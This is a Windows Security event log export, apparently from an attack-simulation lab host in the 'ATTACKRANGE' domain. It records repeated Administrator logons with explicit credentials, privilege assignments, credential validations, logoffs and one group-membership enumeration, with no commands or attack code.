OpCode=Info
RecordNumber=245508
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		EC2AMAZ-JQSN6NR$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E4

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		EC2AMAZ-JQSN6NR
	Logon ID:		0xB5E24
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Process Information:
	Process ID:		0x550
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Workstation Name:	EC2AMAZ-JQSN6NR
	Source Network Address:	-
	Source Port:		-

Detailed Authentication Information:
	Logon Process:		Advapi  
	Authentication Package:	Negotiate
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:37:47 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4648
EventType=0
Type=Information
ComputerName=EC2AMAZ-JQSN6NR
TaskCategory=Logon
OpCode=Info
RecordNumber=245507
Keywords=Audit Success
Message=A logon was attempted using explicit credentials.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		EC2AMAZ-JQSN6NR$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E4
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Account Whose Credentials Were Used:
	Account Name:		Administrator
	Account Domain:		EC2AMAZ-JQSN6NR
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Target Server:
	Target Server Name:	localhost
	Additional Information:	localhost

Process Information:
	Process ID:		0x550
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Network Address:	-
	Port:			-

This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials.  This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command.
03/11/2021 11:37:47 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4776
EventType=0
Type=Information
ComputerName=EC2AMAZ-JQSN6NR
TaskCategory=Credential Validation
OpCode=Info
RecordNumber=245506
Keywords=Audit Success
Message=The computer attempted to validate the credentials for an account.

Authentication Package:	MICROSOFT_AUTHENTICATION_PACKAGE_V1_0
Logon Account:	Administrator
Source Workstation:	EC2AMAZ-JQSN6NR
Error Code:	0x0
03/11/2021 11:37:47 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=EC2AMAZ-JQSN6NR
TaskCategory=Special Logon
OpCode=Info
RecordNumber=245505
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		EC2AMAZ-JQSN6NR
	Logon ID:		0xB4187

Privileges:		SeSecurityPrivilege
			SeTakeOwnershipPrivilege
			SeLoadDriverPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
03/11/2021 11:37:47 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=EC2AMAZ-JQSN6NR
TaskCategory=Logon
OpCode=Info
RecordNumber=245504
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		EC2AMAZ-JQSN6NR$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E4

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		EC2AMAZ-JQSN6NR
	Logon ID:		0xB4187
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Process Information:
	Process ID:		0x550
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Workstation Name:	EC2AMAZ-JQSN6NR
	Source Network Address:	-
	Source Port:		-

Detailed Authentication Information:
	Logon Process:		Advapi  
	Authentication Package:	Negotiate
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:37:47 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4648
EventType=0
Type=Information
ComputerName=EC2AMAZ-JQSN6NR
TaskCategory=Logon
OpCode=Info
RecordNumber=245503
Keywords=Audit Success
Message=A logon was attempted using explicit credentials.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		EC2AMAZ-JQSN6NR$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E4
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Account Whose Credentials Were Used:
	Account Name:		Administrator
	Account Domain:		EC2AMAZ-JQSN6NR
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Target Server:
	Target Server Name:	localhost
	Additional Information:	localhost

Process Information:
	Process ID:		0x550
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Network Address:	-
	Port:			-

This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials.  This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command.
03/11/2021 11:37:47 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4776
EventType=0
Type=Information
ComputerName=EC2AMAZ-JQSN6NR
TaskCategory=Credential Validation
OpCode=Info
RecordNumber=245502
Keywords=Audit Success
Message=The computer attempted to validate the credentials for an account.

Authentication Package:	MICROSOFT_AUTHENTICATION_PACKAGE_V1_0
Logon Account:	Administrator
Source Workstation:	EC2AMAZ-JQSN6NR
Error Code:	0x0
03/11/2021 11:37:47 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=EC2AMAZ-JQSN6NR
TaskCategory=Special Logon
OpCode=Info
RecordNumber=245501
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		EC2AMAZ-JQSN6NR
	Logon ID:		0xB3E90

Privileges:		SeSecurityPrivilege
			SeTakeOwnershipPrivilege
			SeLoadDriverPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
03/11/2021 11:37:47 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=EC2AMAZ-JQSN6NR
TaskCategory=Logon
OpCode=Info
RecordNumber=245500
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		EC2AMAZ-JQSN6NR$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E4

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		EC2AMAZ-JQSN6NR
	Logon ID:		0xB3E90
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Process Information:
	Process ID:		0x550
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Workstation Name:	EC2AMAZ-JQSN6NR
	Source Network Address:	-
	Source Port:		-

Detailed Authentication Information:
	Logon Process:		Advapi  
	Authentication Package:	Negotiate
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:37:47 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4648
EventType=0
Type=Information
ComputerName=EC2AMAZ-JQSN6NR
TaskCategory=Logon
OpCode=Info
RecordNumber=245499
Keywords=Audit Success
Message=A logon was attempted using explicit credentials.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		EC2AMAZ-JQSN6NR$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E4
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Account Whose Credentials Were Used:
	Account Name:		Administrator
	Account Domain:		EC2AMAZ-JQSN6NR
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Target Server:
	Target Server Name:	localhost
	Additional Information:	localhost

Process Information:
	Process ID:		0x550
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Network Address:	-
	Port:			-

This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials.  This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command.
03/11/2021 11:37:47 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4776
EventType=0
Type=Information
ComputerName=EC2AMAZ-JQSN6NR
TaskCategory=Credential Validation
OpCode=Info
RecordNumber=245498
Keywords=Audit Success
Message=The computer attempted to validate the credentials for an account.

Authentication Package:	MICROSOFT_AUTHENTICATION_PACKAGE_V1_0
Logon Account:	Administrator
Source Workstation:	EC2AMAZ-JQSN6NR
Error Code:	0x0
03/11/2021 11:37:48 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=EC2AMAZ-JQSN6NR
TaskCategory=Special Logon
OpCode=Info
RecordNumber=245545
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		EC2AMAZ-JQSN6NR
	Logon ID:		0xB9351

Privileges:		SeSecurityPrivilege
			SeTakeOwnershipPrivilege
			SeLoadDriverPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
03/11/2021 11:37:48 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=EC2AMAZ-JQSN6NR
TaskCategory=Logon
OpCode=Info
RecordNumber=245544
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		EC2AMAZ-JQSN6NR$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E4

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		EC2AMAZ-JQSN6NR
	Logon ID:		0xB9351
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Process Information:
	Process ID:		0x550
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Workstation Name:	EC2AMAZ-JQSN6NR
	Source Network Address:	-
	Source Port:		-

Detailed Authentication Information:
	Logon Process:		Advapi  
	Authentication Package:	Negotiate
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:37:48 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4648
EventType=0
Type=Information
ComputerName=EC2AMAZ-JQSN6NR
TaskCategory=Logon
OpCode=Info
RecordNumber=245543
Keywords=Audit Success
Message=A logon was attempted using explicit credentials.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		EC2AMAZ-JQSN6NR$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E4
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Account Whose Credentials Were Used:
	Account Name:		Administrator
	Account Domain:		EC2AMAZ-JQSN6NR
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Target Server:
	Target Server Name:	localhost
	Additional Information:	localhost

Process Information:
	Process ID:		0x550
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Network Address:	-
	Port:			-

This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials.  This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command.
03/11/2021 11:37:48 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4776
EventType=0
Type=Information
ComputerName=EC2AMAZ-JQSN6NR
TaskCategory=Credential Validation
OpCode=Info
RecordNumber=245542
Keywords=Audit Success
Message=The computer attempted to validate the credentials for an account.

Authentication Package:	MICROSOFT_AUTHENTICATION_PACKAGE_V1_0
Logon Account:	Administrator
Source Workstation:	EC2AMAZ-JQSN6NR
Error Code:	0x0
03/11/2021 11:37:48 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=EC2AMAZ-JQSN6NR
TaskCategory=Special Logon
OpCode=Info
RecordNumber=245541
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		EC2AMAZ-JQSN6NR
	Logon ID:		0xB83BE

Privileges:		SeSecurityPrivilege
			SeTakeOwnershipPrivilege
			SeLoadDriverPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
03/11/2021 11:37:48 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=EC2AMAZ-JQSN6NR
TaskCategory=Logon
OpCode=Info
RecordNumber=245540
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		EC2AMAZ-JQSN6NR$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E4

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		EC2AMAZ-JQSN6NR
	Logon ID:		0xB83BE
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Process Information:
	Process ID:		0x550
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Workstation Name:	EC2AMAZ-JQSN6NR
	Source Network Address:	-
	Source Port:		-

Detailed Authentication Information:
	Logon Process:		Advapi  
	Authentication Package:	Negotiate
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:37:48 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4648
EventType=0
Type=Information
ComputerName=EC2AMAZ-JQSN6NR
TaskCategory=Logon
OpCode=Info
RecordNumber=245539
Keywords=Audit Success
Message=A logon was attempted using explicit credentials.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		EC2AMAZ-JQSN6NR$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E4
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Account Whose Credentials Were Used:
	Account Name:		Administrator
	Account Domain:		EC2AMAZ-JQSN6NR
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Target Server:
	Target Server Name:	localhost
	Additional Information:	localhost

Process Information:
	Process ID:		0x550
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Network Address:	-
	Port:			-

This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials.  This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command.
03/11/2021 11:37:48 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4776
EventType=0
Type=Information
ComputerName=EC2AMAZ-JQSN6NR
TaskCategory=Credential Validation
OpCode=Info
RecordNumber=245538
Keywords=Audit Success
Message=The computer attempted to validate the credentials for an account.

Authentication Package:	MICROSOFT_AUTHENTICATION_PACKAGE_V1_0
Logon Account:	Administrator
Source Workstation:	EC2AMAZ-JQSN6NR
Error Code:	0x0
03/11/2021 11:37:48 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=EC2AMAZ-JQSN6NR
TaskCategory=Special Logon
OpCode=Info
RecordNumber=245537
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		EC2AMAZ-JQSN6NR
	Logon ID:		0xB75A0

Privileges:		SeSecurityPrivilege
			SeTakeOwnershipPrivilege
			SeLoadDriverPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
03/11/2021 11:37:48 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=EC2AMAZ-JQSN6NR
TaskCategory=Logon
OpCode=Info
RecordNumber=245536
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		EC2AMAZ-JQSN6NR$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E4

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		EC2AMAZ-JQSN6NR
	Logon ID:		0xB75A0
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Process Information:
	Process ID:		0x550
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Workstation Name:	EC2AMAZ-JQSN6NR
	Source Network Address:	-
	Source Port:		-

Detailed Authentication Information:
	Logon Process:		Advapi  
	Authentication Package:	Negotiate
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:37:48 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4648
EventType=0
Type=Information
ComputerName=EC2AMAZ-JQSN6NR
TaskCategory=Logon
OpCode=Info
RecordNumber=245535
Keywords=Audit Success
Message=A logon was attempted using explicit credentials.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		EC2AMAZ-JQSN6NR$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E4
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Account Whose Credentials Were Used:
	Account Name:		Administrator
	Account Domain:		EC2AMAZ-JQSN6NR
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Target Server:
	Target Server Name:	localhost
	Additional Information:	localhost

Process Information:
	Process ID:		0x550
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Network Address:	-
	Port:			-

This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials.  This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command.
03/11/2021 11:37:48 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4776
EventType=0
Type=Information
ComputerName=EC2AMAZ-JQSN6NR
TaskCategory=Credential Validation
OpCode=Info
RecordNumber=245534
Keywords=Audit Success
Message=The computer attempted to validate the credentials for an account.

Authentication Package:	MICROSOFT_AUTHENTICATION_PACKAGE_V1_0
Logon Account:	Administrator
Source Workstation:	EC2AMAZ-JQSN6NR
Error Code:	0x0
03/11/2021 11:37:48 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4799
EventType=0
Type=Information
ComputerName=EC2AMAZ-JQSN6NR
TaskCategory=Security Group Management
OpCode=Info
RecordNumber=245533
Keywords=Audit Success
Message=A security-enabled local group membership was enumerated.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		EC2AMAZ-JQSN6NR$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Group:
	Security ID:		BUILTIN\Administrators
	Group Name:		Administrators
	Group Domain:		Builtin

Process Information:
	Process ID:		0x41c
	Process Name:		C:\Windows\System32\svchost.exe
03/11/2021 11:37:48 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=EC2AMAZ-JQSN6NR
TaskCategory=Special Logon
OpCode=Info
RecordNumber=245532
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		EC2AMAZ-JQSN6NR
	Logon ID:		0xB70DE

Privileges:		SeSecurityPrivilege
			SeTakeOwnershipPrivilege
			SeLoadDriverPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
03/11/2021 11:37:48 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=EC2AMAZ-JQSN6NR
TaskCategory=Logon
OpCode=Info
RecordNumber=245531
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		EC2AMAZ-JQSN6NR$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E4

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		EC2AMAZ-JQSN6NR
	Logon ID:		0xB70DE
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Process Information:
	Process ID:		0x550
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Workstation Name:	EC2AMAZ-JQSN6NR
	Source Network Address:	-
	Source Port:		-

Detailed Authentication Information:
	Logon Process:		Advapi  
	Authentication Package:	Negotiate
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:37:48 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4648
EventType=0
Type=Information
ComputerName=EC2AMAZ-JQSN6NR
TaskCategory=Logon
OpCode=Info
RecordNumber=245530
Keywords=Audit Success
Message=A logon was attempted using explicit credentials.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		EC2AMAZ-JQSN6NR$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E4
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Account Whose Credentials Were Used:
	Account Name:		Administrator
	Account Domain:		EC2AMAZ-JQSN6NR
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Target Server:
	Target Server Name:	localhost
	Additional Information:	localhost

Process Information:
	Process ID:		0x550
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Network Address:	-
	Port:			-

This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials.  This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command.
03/11/2021 11:37:48 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4776
EventType=0
Type=Information
ComputerName=EC2AMAZ-JQSN6NR
TaskCategory=Credential Validation
OpCode=Info
RecordNumber=245529
Keywords=Audit Success
Message=The computer attempted to validate the credentials for an account.

Authentication Package:	MICROSOFT_AUTHENTICATION_PACKAGE_V1_0
Logon Account:	Administrator
Source Workstation:	EC2AMAZ-JQSN6NR
Error Code:	0x0
03/11/2021 11:37:48 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=EC2AMAZ-JQSN6NR
TaskCategory=Logoff
OpCode=Info
RecordNumber=245528
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		EC2AMAZ-JQSN6NR
	Logon ID:		0xB6FE3

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:37:48 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=EC2AMAZ-JQSN6NR
TaskCategory=Logoff
OpCode=Info
RecordNumber=245527
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		EC2AMAZ-JQSN6NR
	Logon ID:		0xB379E

Logon Type:			3

